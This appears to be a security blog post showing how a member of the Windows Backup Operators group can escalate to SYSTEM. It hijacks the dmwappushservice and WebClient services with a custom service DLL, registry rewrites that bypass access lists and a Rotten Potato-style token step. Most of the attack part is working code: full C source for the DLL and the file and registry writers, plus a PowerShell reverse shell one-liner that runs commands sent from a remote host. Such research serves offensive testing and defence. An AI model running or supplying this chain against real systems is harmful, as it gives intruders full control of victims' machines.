“Backup Operators” group is an historical Windows built in group. It was designed to allow its members to perform backup and restore operations by granting the SeBackupPrivilege and the SeRestorePrivilege. What does this mean? Well, for some operations like backup and restore, the DACL (Discretionary Access Control Lists) are ignored; this to permit then backup/restore of files to which, normally, the backup operator doesn’t have full access – see, for example, files in System32 or even protected registry entries and so on and so forth.

Abusing these privileges could lead to elevation of privileges, gaining Administrator or SYSTEM rights.

Before proceeding, I would recommend this excellent paper: Abusing Token Privileges For LPE. A must document which explains in depth some token and privilege abusing techniques, including the backup and restore privileges with an example relying on scheduled tasks and Image File Execution options.

In this post, my goal is to find an alternative technique to escalate privileges using services.

NOTE:
Everything has been tested on Win10 and Windows 2016 Server. However, the techniques are valid in any Windows version. The codebase of all my “manipulations” is here:
https://github.com/decoder-it/BadBackupOperator

First of off, a short explanation of some of the Windows API calls which permits a backup operator to perform some high privilege actions.

  • CreateFile()
HANDLE WINAPI CreateFile(
_In_     LPCTSTR               lpFileName,
_In_     DWORD                 dwDesiredAccess,
_In_     DWORD                 dwShareMode,
_In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes,
_In_     DWORD                 dwCreationDisposition,
_In_     DWORD                 dwFlagsAndAttributes,
_In_opt_ HANDLE                hTemplateFile
);

Here, the interesting parameter is dwFlagsAndAttributes.
Setting this value FILE_FLAG_BACKUP_SEMANTICS, accordingly to Microsoft, “The file is being opened or created for a backup or restore operation. The system ensures that the calling process overrides file security checks when the process has SE_BACKUP_NAME and SE_RESTORE_NAME privileges.”

Which means: As Backup Operator it is possible to create a file everywhere in the File System. Cool, isn’t it?

  • RegCreateKeyEx()
LONG WINAPI RegCreateKeyEx(
  _In_       HKEY                  hKey,
  _In_       LPCTSTR               lpSubKey,
  _Reserved_ DWORD                 Reserved,
  _In_opt_   LPTSTR                lpClass,
  _In_       DWORD                 dwOptions,
  _In_       REGSAM                samDesired,
  _In_opt_   LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  _Out_      PHKEY                 phkResult,
  _Out_opt_  LPDWORD               lpdwDisposition
);

This API creates a registry key, if doesn’t exist, and returns a handle to the key. In this case, it is interesting dwOptions. Setting as value REG_OPTION_BACKUP_RESTORE, we can add/modify a registry entry regardless of DACL. That’s because we are performing a “restore” operation 😉

However, some prerequisites are required:

  • You need an elevated interactive shell, otherwise the privileges are not exploitable.

Gaining an elevated shell goes behind the scope of this article and,  for the rest of the article,  I will assume that we know  the password of the backup  operator and have an interactive desktop. (for the sake of simplicity)

Ok, time to move on! My idea was quite simple:

  • Find a service running with SYSTEM privileges and which is startable by a normal user. Then, replace the binary with our own “reverse shell service” binary
  • Overwrite the service configuration in HKLM\SYSTEM\CurrentControlSet\Services registry
  • Start the service and profit!

I had to find a service with these characteristics and after some investigations, I got the possible candidate in “dmwappushservice“, a service which is part of the “Windows Telemetry and Data Collection services” and it is installed by default on Windows 10 & 2016.

With the following command I was able to list the access rights of the service:

C:\>sc sdshow dmwappushservice
D:(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;LCRP;;;AC)(A;;LCRP;;;IU)(A;;LCRP;;;AU)

Interactive users (IU) have the right to start (RP) the service: (A;;LCRP;;;IU). Also, the startup type is Manual and triggered which is a great opportunity!

scdmwapp

As mentioned before, the idea was to “overwrite” a Windows service with one of my own. Doing  it in C or C# is not that complex, there are tons of examples ready to use. However, in this case things are a bit complex: The service is launched by svchost.exe, a system process that hosts multiple Windows services in the form of Dynamic Linked Library (DLL), identified by the service type WIN32_SHARE_PROCESS.

C:\>sc queryex dmwappushservice
SERVICE_NAME: dmwappushservice
 TYPE : 20 WIN32_SHARE_PROCESS
 STATE : 1 STOPPED
 WIN32_EXIT_CODE : 1077 (0x435)
 SERVICE_EXIT_CODE : 0 (0x0)
 CHECKPOINT : 0x0
 WAIT_HINT : 0x0
 PID : 0
 FLAGS :

Service configurations are saved in the Registry and typically the sub-key Parameters hosts the name of the DLL to be launched, along with the ServiceMain name function to call.

dmwapp1

Actually, there is not much documentation on the matter but, after some googling and mostly testing, I managed to build a working DLL!

Below is  a “minimalist” source code, compiled in VS2015 as DLL:

 

#include "stdafx.h"

#define EXPORT comment(linker, "/EXPORT:" __FUNCTION__ "=" __FUNCDNAME__)
__declspec(dllexport) VOID WINAPI ServiceMain(DWORD dwArgc, LPTSTR *lpszArgv);
__declspec(dllexport) DWORD WINAPI MyHandler(DWORD dwControl, DWORD dwEventType, LPVOID lpEventData, LPVOID lpContext);
SERVICE_STATUS_HANDLE   hSHandle;
SERVICE_STATUS          ServiceStatus;
void Log(char *);
void Log(char *message)
{
  FILE *file;
  file = fopen("c:/temp/log.txt", "a+");
  fputs(message, file);fclose(file);
}

BOOL APIENTRY DllMain(HMODULE hModule,  
DWORD  ul_reason_for_call, 
LPVOID lpReserved)
{ 
  return TRUE;
}
VOID WINAPI ServiceMain(DWORD dwArgc, LPTSTR *lpszArgv)
{
#pragma EXPORT 
Log("service  main\n"); 
  DWORD   status = 0; DWORD   specificError = 0xfffffff;
  ServiceStatus.dwServiceType = SERVICE_WIN32_SHARE_PROCESS; 
  ServiceStatus.dwCurrentState = SERVICE_START_PENDING; 
  ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SRVICE_ACCEPT_SHUTDOWN | SERVICE_ACCEPT_PAUSE_CONTINUE; ServiceStatus.dwWin32ExitCode = 0; 
  ServiceStatus.dwServiceSpecificExitCode = 0; 
  ServiceStatus.dwCheckPoint = 0; 
  ServiceStatus.dwWaitHint = 0; 
  hSHandle = RegisterServiceCtrlHandlerW(L"dmwappushservice", (LPHANDLER_FUNCTION)MyHandler); 
  if ( hSHandle == 0) 
  { 
    Log("Registering Control Handler failed\n"); 
    return; 
  } 
  ServiceStatus.dwCurrentState = SERVICE_RUNNING; 
  SetServiceStatus( hSHandle, &ServiceStatus);
  STARTUPINFO si; 
  PROCESS_INFORMATION pi; 
  ZeroMemory(&pi, sizeof(pi)); 
  ZeroMemory(&si, sizeof(si)); 
  si.cb = sizeof(si); 
  if (!CreateProcess(L"c:\\temp\\rev.bat", NULL, NULL, NULL, 0, 0, NULL, NULL, &si, &pi)) 
     Log("CreateProcess failed\n"); 
  return; 
}

DWORD WINAPI MyHandler( DWORD dwControl, 
DWORD dwEventType, 
LPVOID lpEventData,
LPVOID lpContext)
{
#pragma EXPORT 
 switch (dwControl) { 
  case SERVICE_CONTROL_STOP: 
  case SERVICE_CONTROL_SHUTDOWN: 
    ServiceStatus.dwWin32ExitCode = 0;
    ServiceStatus.dwCurrentState = SERVICE_STOPPED; 
    ServiceStatus.dwCheckPoint = 0; 
    ServiceStatus.dwWaitHint = 0; 
    break; 
  case SERVICE_CONTROL_PAUSE: 
   ServiceStatus.dwCurrentState = SERVICE_PAUSED; 
   break; 
  case SERVICE_CONTROL_CONTINUE: 
   ServiceStatus.dwCurrentState = SERVICE_RUNNING; 
   break; 
  case SERVICE_CONTROL_INTERROGATE: 
   break; 
  default: 
   break; 
 }
SetServiceStatus(hSHandle, &ServiceStatus);
return NO_ERROR;
}

The exported  functions are “ServiceMain” and “MyHandler”. Once the service is started by svchost.exe, the DLL is loaded and the ServiceMain() function invoked. After some initialization stuff, a new process is created. It will execute a batch file under the SYSTEM account!!

During my tests, after starting the service, I got Procedure not found error error. Analyzing with “Dependency Walker” utility, I discovered that the reason was behind the decorated function names. To get rid of it, I created the necessary EXPORT directive, which exports the undecorated functions as well. After that, everything was OK.

decorated

With a working servicedll.dll, I could  move to the second step: Gain a privileged shell. Remember, “dummyuser” is not Administrator but is only member of Backup Operators group.
admimsh

Time to use  CreateRegEx() and CreateFile() functions. With CreateRegEx(), I changed the ServiceDLL entry:

std::string data = "c:\\windows\\system32\\servicedll.dll";
LSTATUS stat = RegCreateKeyExA(HKEY_LOCAL_MACHINE,
"SYSTEM\\CurrentControlSet\\Services\\smwappushsvc\\Parameters",
0,NULL,REG_OPTION_BACKUP_RESTORE,KEY_SET_VALUE,NULL,&hk,NULL);
stat = RegSetValueExA(hk,"ServiceDLL",0,REG_EXPAND_SZ,(const BYTE*)data.c_str(),data.length() + 1);
if (stat != ERROR_SUCCESS)
{
printf("Failed writing key! %d\n", stat);
return 1;
}
printf("Setting registry OK\n");

While with CreateFile(), I created the service dll file in Windows System directory.

NOTE: I could simply copy the dll in any writable directory, but used CreateFile() to demonstrate that with this function  I could  write anywhere, in this case I used System32

#define FSIZE 11777 //ugly - quick & dirty
char buf[FSIZE+1];
LPCWSTR fnamein = L"c:\\temp\\servicedll.dll";
LPCWSTR fnameout = L"c:\\windows\\system32\\servicedll.dll";
HANDLE source = CreateFile(fnamein,GENERIC_READ,0,NULL,OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,NULL);
if (source == INVALID_HANDLE_VALUE) {
printf("Error, source file not opened.");
exit(EXIT_FAILURE);
}
HANDLE dest = CreateFile(fnameout,
GENERIC_WRITE,
FILE_SHARE_WRITE,
NULL,
CREATE_ALWAYS,
FILE_FLAG_BACKUP_SEMANTICS,
NULL);
if (dest == INVALID_HANDLE_VALUE){
printf("Could not open %s file, error %d\n", fname, GetLastError());
exit(EXIT_FAILURE);
}
ReadFile(source, buf, FSIZE, bytesread, NULL);
printf("Read bytes from source dll: %d\n", bytesread);
WriteFile(dest, buf, bytesread, &bytedwritten, NULL);
CloseHandle(dest);
CloseHandle(source);
printf("Bytes written to dest servicedll %d\n",byteswritten);

Last but not least, the contents of the batch file, a simple reverse shell in PS:

powershell -nop -exec bypass -c "$client = New-Object System.Net.Sockets.TCPClient('IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

After putting all the pieces together,  the magic moment:
dummysu

Registry written and file copied.. starting the service and waiting for the reverse shell…

susystem1

Wohoo, it worked!

One step beyond, why not looking for other interesting windows services?

A particular Windows service named “WebClient” caught my attention. This is a triggered service too, not startable by a standard user but is launched when particular custom events occur. I won’t go too much in depth (https://msdn.microsoft.com/en-us/library/windows/desktop/dd405513(v=vs.85).aspx), just notice that events can be predefined or custom events. In this case, the event has to be registered in order to let Windows use it.

The WebClient service, installed by default on Windows 10 but available also on 2016, is started when a “standard” user makes a webdav request. To locally check this behavior, setup a simple webdav service (for example this one in Python: wsgidav). From a command prompt invoke it:

c:\>pushd \\ip\[resource]

And you will see that the WebClient service is started!

Now, in order to get more details about the service, run the following command:

 

C:\>sc qtriggerinfo webclient
[SC] QueryServiceConfig2 SUCCESS
SERVICE_NAME: webclient
START SERVICE
 CUSTOM : 22b6d684-fa63-4578-87c9-effcbe6643c7 [UUID PROVIDER ETW]

sc utility confirmed it is a custom trigger and gives the UUID: 22b6d684-fa63-4578-87c9-effcbe6643c7

With the UUID it should not be difficult to write our own C/C# program which triggers any event via program.
This wonderful script (C# embedded in PS) does exactly what we need!: http://www.lieben.nu/liebensraum/2016/10/how-to-start-a-trigger-start-windows-service-with-powershell-without-elevation-admin-rights/

In this case, instead of calling the webdav link, it is sufficient to launch the script!

The webclient service was launched by svchost.exe too, so I could reuse the same technique: same DLL, overwriting the registry entry and finally launching the trigger PS script:
trigger

Great! It worked again, but we got only “Local Service” privileges: a somehow limited internal user… oh no 😦

But wait, let’s check the privileges..
localsys.

Impersonate and AssignPrimary Token. Anything familiar? Remember the “Rotten Potato” exploit? SYSTEM privileges are right behind the corner…
Here is my standalone version (Potatoes and tokens). To executed it:

PS C:\temp> .\myrotten * c:\temp\rev.bat

And the listener:
catrotten

SYSTEM again!!

All in all, I described two possible Windows services exploits based on the seRestorePrivilege privilege, the one of the Backup Operators. There is much more, 3rd party services I’m looking at you, poorly configured…

Well, the only limit is your imagination! Hope you enjoyed it, and if so share it!
That’s all 🙂

Thanks to @Giutro for the critical review!

Advertisement

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s